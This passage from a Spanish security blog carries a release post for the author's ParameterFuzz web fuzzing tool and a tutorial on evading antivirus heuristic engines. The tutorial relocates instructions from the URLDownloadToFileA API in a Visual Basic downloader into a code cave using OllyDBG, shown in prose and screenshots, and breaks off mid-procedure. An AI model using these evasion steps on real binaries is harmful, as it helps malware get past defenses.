<span style="font-family: Courier New, Courier, monospace;">Saludos 4n4les! ;)</span><o:p></o:p></div>
<div class="blogger-post-footer">Feed Blogger Germán Sánchez Garcés</div>Germán Sánchez Garcéshttp://www.blogger.com/profile/09955799520119890787noreply@blogger.com9tag:blogger.com,1999:blog-2707641124274171597.post-37313508158733038942014-07-14T19:50:00.000+02:002014-07-14T20:03:15.939+02:00ParameterFuzz v1.9<div style="text-align: justify;">
<div class="MsoNormal">
<span style="font-family: 'Courier New'; line-height: 115%;">Tras el pasado perigeo lunar todos presentíamos que
algo grande sucedería. Cuestión de tiempo, tras la larga espera pensaba que
nada me sorprendería. Pues un agnóstico vino a este mundo a nublar vuestro cielo
de fantasía. Mientras tanto, un avinagrado despertador mi oído recorrería. Lunes
con hedor a alcohol, lo más cercano a despertarse en una pescadería. Tras la luna
llena algo ciertamente se escondía, mi nueva herramienta hoy les traigo con
alegría.</span></div>
<div class="MsoNormal">
<span style="font-family: 'Courier New'; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-family: 'Courier New'; line-height: 115%;">Exactamente, eso quería decirles. Les traigo la nueva versión de mi software para que la disfruten. Quería darle las gracias a <a href="http://www.elladodelmal.com/">Chema Alonso</a> pues muchas de las ideas que he utilizado en <i>Simple Vulnerability Scanner</i> vienen directamente de la cosecha de <a href="https://www.elevenpaths.com/es/labstools/foca-2/index.html">FOCA</a>.</span></div>
<div class="MsoNormal">
<span style="font-family: 'Courier New'; font-size: 13.5pt; line-height: 115%;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.youtube.com/embed/S0bNCIWn7RY?feature=player_embedded' frameborder='0'></iframe></div>
<div class="MsoNormal">
<br /></div>
</div>
<div style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;"><b><span style="color: #660000;">Configuraciones necesarias Internet Explorer</span></b></span></div>
<div style="text-align: justify;">
<br /></div>
<div>
<ul>
<li style="text-align: justify;"><span style="font-family: 'Courier New', Courier, monospace;">Es necesario desactivar los mensajes de error HTTP descriptivos. Haga clic en el menú Herramientas y, </span><span style="font-family: 'Courier New', Courier, monospace;">después, en Opciones de Internet. Haga clic en la ficha Opciones avanzadas y desplácese hasta la sección Examinar.</span></li>
</ul>
<ul>
<li style="text-align: justify;"><span style="font-family: 'Courier New', Courier, monospace;">Desactive la casilla Mostrar mensajes de error HTTP descriptivos y haga clic en Aceptar.</span><span style="font-family: 'Courier New', Courier, monospace;"> </span></li>
</ul>
<ul>
<li style="text-align: justify;"><span style="font-family: 'Courier New', Courier, monospace;">Ante un "Basic Access Authentication", utiliza la siguiente manera para generar la cabecera de acceso: </span><span style="font-family: 'Courier New', Courier, monospace;">https://usuario:contraseña@www.enelpc.com/</span><span style="font-family: 'Courier New', Courier, monospace;"> </span></li>
</ul>
<ul>
<li style="text-align: justify;"><span style="font-family: 'Courier New', Courier, monospace;">En aquellas páginas donde encuentres un certificado no emitido por una entidad certificadora, añade el certificado a "Almacén de Entidades de certificación raíz de confianza".</span></li>
</ul>
</div>
<div style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"> </span></div>
<div style="text-align: justify;">
<span style="color: #660000; font-family: Courier New, Courier, monospace;"><b>¿Cambios respecto a la versión anterior?</b></span></div>
<div style="text-align: justify;">
<br /></div>
<div>
<ul>
<li style="text-align: justify;"><span style="font-family: 'Courier New', Courier, monospace;">Se realizó una versión especial para el evento Warfare de RootedCon 2014, donde se arregló un bug en formulario POST. Se rediseñó y añadieron nuevas opciones a la herramienta secundaria "Add HTTP Header"</span></li>
</ul>
<ul>
<li style="text-align: justify;"><span style="font-family: 'Courier New', Courier, monospace;"> Se han realizado cambios en el formulario de entrada, para aumentar la comodidad y solucionar problemas con el cerrado de la aplicación.</span></li>
</ul>
<ul>
<li style="text-align: justify;"><span style="font-family: 'Courier New', Courier, monospace;">Ha sido sustituida la API "Sleep" de todo el proyecto, ya que esta podía acarrear bloqueos momentaneos en los formularios GET y POST.</span></li>
</ul>
<ul>
<li style="text-align: justify;"><span style="font-family: 'Courier New', Courier, monospace;">El botón "Menu" se ha eliminado de los formularios POST y GET, dejando paso a poder volver al formulario principal desde el botón de cerrado de estos formularios.</span></li>
</ul>
<ul>
<li style="text-align: justify;"><span style="font-family: 'Courier New', Courier, monospace;">Se ha eliminado la caja check que permitía almacenar en memoria la longitud del código HTML, incluyendo un nuevo uso para habilitar la nueva herramienta "Mini Vulnerability Scanner".</span></li>
</ul>
<ul>
<li style="text-align: justify;"><span style="font-family: 'Courier New', Courier, monospace;">"Mini Vulnerability Scanner" cuenta actualmente con varias pruebas las cuales yo realizo manualmente en mis auditorías personales. Esta genera un número mínimo de peticiones con un intervalo de tiempo personalizable entre ellas, para evitar baneos o el colapso del servidor auditado.</span></li>
</ul>
<div style="text-align: center;">
<span style="font-family: Courier New, Courier, monospace; font-size: x-large;"><b><a href="https://docs.google.com/uc?id=0B74kMAGqImI9VlJ6TXVlV3p6NmM">DESCARGAR</a></b></span></div>
</div>
<div style="text-align: center;">
<span style="font-family: Georgia, Times New Roman, serif;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Saludos 4n4les! ;)</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> </span></div>
<div class="blogger-post-footer">Feed Blogger Germán Sánchez Garcés</div>Germán Sánchez Garcéshttp://www.blogger.com/profile/09955799520119890787noreply@blogger.com2tag:blogger.com,1999:blog-2707641124274171597.post-66257717844146029552014-07-05T21:54:00.001+02:002014-07-05T21:54:41.066+02:00Antivirus K.O. Evasión de motores heurísticos<div class="MsoNormal" style="text-align: justify;">
<a href="http://www.enelpc.com/2012/12/antivirus-ko-i-like-to-move-it.html" style="background-color: white; font-family: 'Courier New', Courier, monospace;"><b>I Like To Move It</b></a><span style="background-color: white; color: #660000; font-family: 'Courier New', Courier, monospace;">, </span><span style="background-color: white; font-family: 'Courier New', Courier, monospace;">es cierto y os diría más… me pasa con todo. Me
pasa en el sofá, en la ducha, en la calle, en el bar, o incluso en la
discoteca. Bueno en la discoteca y rodeado de tanto canival adicto a sus
Krokodile, no llamo tanto la atención, pero en el fondo me pasa y eso se nota. </span><i style="background-color: white; font-family: 'Courier New', Courier, monospace;">¡Estoy a tope!</i><span style="background-color: white; font-family: 'Courier New', Courier, monospace;"> Pero no a lo </span><i style="background-color: white; font-family: 'Courier New', Courier, monospace;">Maradona</i><span style="background-color: white; font-family: 'Courier New', Courier, monospace;">, sino a toda pastilla como Fernando
Alonso. Como un <i>salvaslip</i> con alas y ya saben, soy un culo inquieto. Si esta
característica de mi personalidad, la extrapolamos al </span><i style="background-color: white; font-family: 'Courier New', Courier, monospace;">hobbie</i><span style="background-color: white; font-family: 'Courier New', Courier, monospace;"> al cual me dedico, salen cosas tan alocadas como estas
entradas de evasión antivirus.</span></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Creo que en el tiempo que llevo escribiendo sobre este tema, ya he dejado
bastante claro que la manera más sencilla para realizar una evasión antivirus
sobre un binario, es desensamblando el ejecutable detectado y realizar
migraciones de su código a otros huecos, con el fin de romper firmas antivirus,
que bien estuviesen basadas en <i>strings</i>
o mediante firmas condicionales. Las firmas condicionales se asemejan más a lo
que esta entrada nos ocupa, ya que los comportamientos heurísticos los cuales
vamos a evadir en esta, suelen basarse en varias condiciones que un binario
debe de cumplir, para dar por válida una detección.<o:p></o:p></span></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Los motores heurísticos utilizados por los antivirus en mayor o menor
medida, se encargan de monitorizar entre otras cosas, las llamadas a funciones
y librerías que el malware utiliza en su ejecución para realizar ciertas
acciones determinadas. Hemos hablado de cómo mover la Import Table a otros
offsets, pero la heurística va más allá. El objetivo de esta entrada, sería
buscar una alternativa, para migrar las llamadas externas que el ejecutable
realiza mediante la Import Table, a las librerías del sistema y finalmente, a
sus APIs. <b>Leos</b> de <b>indetectables</b>, hace varios años ya habló de este tema y
ciertamente, sigue estando al orden del día.<o:p></o:p></span></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Para hacer la prueba, yo he decidido utilizar el siguiente código, el
cual no es más que un simple <i><b>Downloader</b></i>,
con posiblemente la API más detectada por los antivirus en Visual Basic, <i><b>URLDownloadToFileA</b></i>.<o:p></o:p></span></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxXbmbAb0UUcpJ4xTtrn8t9KZvRZzFPjgBMZKW2XhI4mTgGhokRBELX0WHdUeSAv_GVq53CnQseEol_yb2NO6vY0USgiGliYvNEIT1dEODe3GnjC1O6MLCy7qY4aJxYhoybQVmA0I7DxZG/s1600/ProjectURL-API-OllyDBG.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxXbmbAb0UUcpJ4xTtrn8t9KZvRZzFPjgBMZKW2XhI4mTgGhokRBELX0WHdUeSAv_GVq53CnQseEol_yb2NO6vY0USgiGliYvNEIT1dEODe3GnjC1O6MLCy7qY4aJxYhoybQVmA0I7DxZG/s1600/ProjectURL-API-OllyDBG.png" height="118" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Algo muy especial de Visual Basic 6 y anteriores, es que las llamadas a
las librerías y funciones que utiliza un ejecutable no vienen incluidas en la
Import Table, como hemos visto que sucede en el resto de aplicaciones con mis
anteriores entradas.<o:p></o:p></span></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<i><span style="font-family: Courier New, Courier, monospace;">¿Entonces cómo las llama?<o:p></o:p></span></i></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Utiliza una función llamada <i><b>DllFunctionCall</b>,</i>
la cual carga en la Import Table siempre y cuando en el código fuente, se haya
declarado la utilización de una API del sistema. Cuando se ejecuta esta
función, trata de cargar dinámicamente el nombre del API a utilizar y la
librería a la cual hay que realizar la llamada. Las aplicaciones de Visual
Basic compiladas en código nativo, contienen <i>strings</i> en las que se pueden leer las APIs y librerías, pero esto
no es del todo fiable, ya que desconocemos si estas están siendo utilizadas de
alguna manera por el software. Así que si encontrásemos en un binario de Visual
Basic el API <i>DllFunctionCall </i>procedente
de la librería MSVBVM60.DLL, tendríamos que desensamblar para saber realmente a
quien llama. <o:p></o:p></span></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIDtlJFDIVCH0-gRDxKIUa04PFpNvKfcnbau32YgKNTBBBqEaYPgatvG0Lr4r-i63yQUsD1HeiEYPqlGiiJ0kqA_oOb_BXgA4-FXc-ycvWPrHcSZ-KwxTIqI7khkhIJinuFc5qPNEAhOs6/s1600/ProjectURL-API-OllyDBG-0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIDtlJFDIVCH0-gRDxKIUa04PFpNvKfcnbau32YgKNTBBBqEaYPgatvG0Lr4r-i63yQUsD1HeiEYPqlGiiJ0kqA_oOb_BXgA4-FXc-ycvWPrHcSZ-KwxTIqI7khkhIJinuFc5qPNEAhOs6/s1600/ProjectURL-API-OllyDBG-0.png" height="392" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Abriremos el binario en OllyDBG y nos iremos directamente a visualizar
todas las llamadas inter-modulares que contiene, para tratar de dar con <i>DllFunctionCall</i>.<o:p></o:p></span></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc9TZgwp1FD74t65HJGWLknfThBZsooHAf4t6nl8gB-4XeR4VQVEOvLxPAAtWigeU_0S4BaLBX17GIGMFZcyDCS4ZgiQQlQMRvMTipl2xoZ4ot_ek2VV3odU55wOoItZJhhsD3EgkpJ76Z/s1600/ProjectURL-API-OllyDBG-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc9TZgwp1FD74t65HJGWLknfThBZsooHAf4t6nl8gB-4XeR4VQVEOvLxPAAtWigeU_0S4BaLBX17GIGMFZcyDCS4ZgiQQlQMRvMTipl2xoZ4ot_ek2VV3odU55wOoItZJhhsD3EgkpJ76Z/s1600/ProjectURL-API-OllyDBG-1.png" height="640" width="534" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Gracias a que este binario es tan pequeño, no nos costará nada
encontrarla.<o:p></o:p></span></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsAGYBAbfIjogGoPzUavHBMYDF89wCOnunsR7iL70ftiI1Lpf61u7AEPJhYUGsMUiIZNfGIIZ65ZLYV1aeUsZewUZfl36ud_gc0WqfBM7NcHiGUQIyXLPSvpsZTcOz6bJXD95orr7xWmEj/s1600/ProjectURL-API-OllyDBG-2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsAGYBAbfIjogGoPzUavHBMYDF89wCOnunsR7iL70ftiI1Lpf61u7AEPJhYUGsMUiIZNfGIIZ65ZLYV1aeUsZewUZfl36ud_gc0WqfBM7NcHiGUQIyXLPSvpsZTcOz6bJXD95orr7xWmEj/s1600/ProjectURL-API-OllyDBG-2.png" height="386" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Tras presionar <i>Enter</i> para
saltar hasta la función, nos encontraremos con un CALL que espera a que el
registro EAX le traiga la dirección de memoria donde realizar la llamada. Con
lo que decidí colocar un BreakPoint y ejecutar el binario para ver cuál será su
próxima acción.<o:p></o:p></span></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOlxkn9Tq0Gh_YGoeYO1JEUS6AMsi-UmH2YtcLgDh84jbGOaqNe41Z0CEDCM-ErFPfEa_wvSBtOWqxJuXrjc22dUj4vlNm-HC2WMsWsO62J5TMZJpRJ3NepMrDNc4SDPBx9So23slywmxW/s1600/ProjectURL-API-OllyDBG-3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOlxkn9Tq0Gh_YGoeYO1JEUS6AMsi-UmH2YtcLgDh84jbGOaqNe41Z0CEDCM-ErFPfEa_wvSBtOWqxJuXrjc22dUj4vlNm-HC2WMsWsO62J5TMZJpRJ3NepMrDNc4SDPBx9So23slywmxW/s1600/ProjectURL-API-OllyDBG-3.png" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Tras calcular su salto, EAX ahora transporta la dirección del API
URLDownloadToFileA que se cargó de forma dinámica.<o:p></o:p></span></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5tYTcof1DdtE44xuOqB1LmnG1LXxRY5eo4IOnTiFEUxyRPDPQi3yT_i1bCgE29VA2f881TH0se5EBUK5S8rNHHiCXfxvDvaKVv0EdUSJjmR-9fMDI89x_yle_QM-U3t3ArSLbzd0Nicr-/s1600/ProjectURL-API-OllyDBG-4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5tYTcof1DdtE44xuOqB1LmnG1LXxRY5eo4IOnTiFEUxyRPDPQi3yT_i1bCgE29VA2f881TH0se5EBUK5S8rNHHiCXfxvDvaKVv0EdUSJjmR-9fMDI89x_yle_QM-U3t3ArSLbzd0Nicr-/s1600/ProjectURL-API-OllyDBG-4.png" height="204" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Tras presionar la tecla <i>Enter</i>
para saltar antes de que lo haga la ejecución, llegamos a la librería
<b>urlmon.dll</b>, donde se encuentra el API. Debido a que esta función es bastante
grande y tendría que recolocar un gran número de llamadas y saltos para lograr
migrarla por completo y evitar que se realizasen llamadas externas, he decidido
tan solo copiar un pequeño número de instrucciones. La migración de estas
instrucciones no rompería el ejecutable, ya que tan solo mueven e insertan
datos sobre los registros.<o:p></o:p></span></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBvJQfN_fQEbC1MBIFooBzHZ6LVXU971Vgf2Gr9xlzAt12ppW41S-zunQwJXrsnJoTDxP2ZgxK1RH4SQRjzvnD2n5XMZrijMDpdBrqn1VW4Ly_lAE0IeAv_m5ezajLMnGPRJqjkVz_zr24/s1600/ProjectURL-API-OllyDBG-5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBvJQfN_fQEbC1MBIFooBzHZ6LVXU971Vgf2Gr9xlzAt12ppW41S-zunQwJXrsnJoTDxP2ZgxK1RH4SQRjzvnD2n5XMZrijMDpdBrqn1VW4Ly_lAE0IeAv_m5ezajLMnGPRJqjkVz_zr24/s1600/ProjectURL-API-OllyDBG-5.png" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Realizaremos una copia en binario de las direcciones para llevar a cabo
la migración a un hueco.<o:p></o:p></span></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRDPbJFeoaVfnMP_p5kYo_XQgTgSFMcqLLFF4kUg6uhX4YNFR7gcACr_2WZdiMW9X4ZF8z4T4iLdjDPKgTeMSY3fijfDj_oAAYsYYMhXUlge8iVq8bN2UpEMUYiOCBkrzHM1a7Ay9yrJ_t/s1600/ProjectURL-API-OllyDBG-6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRDPbJFeoaVfnMP_p5kYo_XQgTgSFMcqLLFF4kUg6uhX4YNFR7gcACr_2WZdiMW9X4ZF8z4T4iLdjDPKgTeMSY3fijfDj_oAAYsYYMhXUlge8iVq8bN2UpEMUYiOCBkrzHM1a7Ay9yrJ_t/s1600/ProjectURL-API-OllyDBG-6.png" height="156" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Ya que llevo torturando a los binarios de Visual Basic desde que tengo
uso de razón, osea hace poco tiempo <i>jajajaj</i>… sé dónde se encuentran lugares con
huecos para mover la función de urlmon.dll. Y justo esa cadena donde se incluye
la dirección de compilación “IDEAS POSIBLE POST” es un lugar cojonudo.<o:p></o:p></span></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEht8a3HMWNqXvv0rfFjv22TN5fyGnu04zWSeMb4-1-tpsLp4eizgobRdzruhRH-2WAcrIo90cKbQexyIwIaO0MTCvAQMB87Z96Eb9fO4dq31pKxS07cEtM2FNDHepri0XGMmNnRFBCkQbbu/s1600/ProjectURL-API-OllyDBG-7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEht8a3HMWNqXvv0rfFjv22TN5fyGnu04zWSeMb4-1-tpsLp4eizgobRdzruhRH-2WAcrIo90cKbQexyIwIaO0MTCvAQMB87Z96Eb9fO4dq31pKxS07cEtM2FNDHepri0XGMmNnRFBCkQbbu/s1600/ProjectURL-API-OllyDBG-7.png" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Así que llevaré hasta allí, mi apisonadora de NOPs y pienso montar en ese
hueco mi chiringuito... no hay quien me pare.<o:p></o:p></span></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNHpgSwJrKWaPpBjZwwiWaEln-UHnI-NV8fiCKverqeorIK0kfdAIVWaLcB3HOsHadMMPtCet7WXMxGVeDB1gmNoExZ5fdjtyOjaFNt7f5Nt8MhhypGrqnlm79806HLgvHVZKliLzc_ZMz/s1600/ProjectURL-API-OllyDBG-8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNHpgSwJrKWaPpBjZwwiWaEln-UHnI-NV8fiCKverqeorIK0kfdAIVWaLcB3HOsHadMMPtCet7WXMxGVeDB1gmNoExZ5fdjtyOjaFNt7f5Nt8MhhypGrqnlm79806HLgvHVZKliLzc_ZMz/s1600/ProjectURL-API-OllyDBG-8.png" height="462" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Tras un <i>Binary Paste</i>
seleccionando el hueco, migramos parte de la estructura del API.<o:p></o:p></span></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGLJfT51jZAlI4CB8aaXKJ_quvdpviL4jOywCjtWZMRz9ovfQ9eGKLRU1ZnOy71LdxfmdsaLnj4vaRmt1tt4ga-QmdkorW5qhZUeNdV9_nF3tHbmlYg6O5FaiMldvwy_X5tPy4n1jT5AXr/s1600/ProjectURL-API-OllyDBG-9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGLJfT51jZAlI4CB8aaXKJ_quvdpviL4jOywCjtWZMRz9ovfQ9eGKLRU1ZnOy71LdxfmdsaLnj4vaRmt1tt4ga-QmdkorW5qhZUeNdV9_nF3tHbmlYg6O5FaiMldvwy_X5tPy4n1jT5AXr/s1600/ProjectURL-API-OllyDBG-9.png" height="262" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Como me ha sobrado espacio, puedo incluir sin problemas el salto para
redireccionar el flujo a la siguiente instrucción de urlmon.dll, justo al
inicio de un bucle que hemos decidido evitarlo para no vernos con posibles
complicaciones.<o:p></o:p></span></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikK_g13JN1Y2HUIEevMP6yjLyRL9j728E0aaS_o4osQX5IkUArurHr5JEVfuJsVdwhiaTsO__xr77vSGghozYne9MIQ99PYj7m-w9FtU0GaIyNaswh5D8CO0uVWLkpbtAcYLaoa6t0nMU9/s1600/ProjectURL-API-OllyDBG-10.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikK_g13JN1Y2HUIEevMP6yjLyRL9j728E0aaS_o4osQX5IkUArurHr5JEVfuJsVdwhiaTsO__xr77vSGghozYne9MIQ99PYj7m-w9FtU0GaIyNaswh5D8CO0uVWLkpbtAcYLaoa6t0nMU9/s1600/ProjectURL-API-OllyDBG-10.png" height="252" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
